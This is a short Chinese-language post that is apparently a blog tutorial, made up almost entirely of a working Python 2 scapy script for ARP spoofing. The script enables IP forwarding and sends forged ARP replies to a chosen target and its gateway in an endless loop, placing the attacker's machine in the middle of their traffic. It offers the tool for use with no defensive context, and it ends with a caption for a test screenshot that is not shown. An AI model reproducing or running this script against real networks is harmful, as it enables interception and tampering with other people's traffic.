python arp欺骗

使用python构造一个arp欺骗脚本

import os

import sys

from scapy.all import *

import optparse

def main():

    usage="usage:[-i interface] [-t IP to attack] [-g Gateway IP]"

    parser=optparse.OptionParser(usage)

    parser.add_option('-i',dest='interface',help='select interface(input eth0 or wlan0 or more)')

    parser.add_option('-t',dest='IP',help='You want to attack the IP')

    parser.add_option('-g',dest='gatewayip',help='The IP of the gateway')

    (options,args)=parser.parse_args()

    if options.interface and options.IP and options.gatewayip:

        interface=options.interface

        IP=options.IP

        gatewayip=options.gatewayip

        spoof(interface,IP,gatewayip)

    else:

        parser.print_help()

        sys.exit()

def spoof(interface,IP,gatewayip):

    benjimac=get_if_hwaddr(interface)

    mubiao=getmacbyip(IP)

    wanguan=getmacbyip(gatewayip)

    ptarget = Ether(src=benjimac, dst=mubiao) / ARP(hwsrc=benjimac, psrc=gatewayip, hwdst=mubiao, pdst=IP, op=2)    #本地-》网关

    pgateway=Ether(src=benjimac,dst=wanguan)/ARP(hwsrc=benjimac,psrc=IP,hwdst=wanguan,pdst=gatewayip,op=2) #本地-》目标机

    print '[+]Open IP forwarding'

    zhuanfa=os.system('echo 1 > /proc/sys/net/ipv4/ip_forward')    #IP转发

    try:

        while 1:

          sendp(ptarget, inter=2, iface=interface) #发包

          print "send arp reponse to target(%s),gateway(%s) macaddress is %s" % (gatewayip, gatewayip, benjimac)

          sendp(pgateway, inter=2, iface=interface) #发包

          print "send arp reponse to gateway(%s),target(%s) macaddress is %s" % (IP, IP, benjimac)

    except Exception as f:

        print '[-]Error:',f

        sys.exit()

if __name__ == '__main__':

    main()

　　测试图：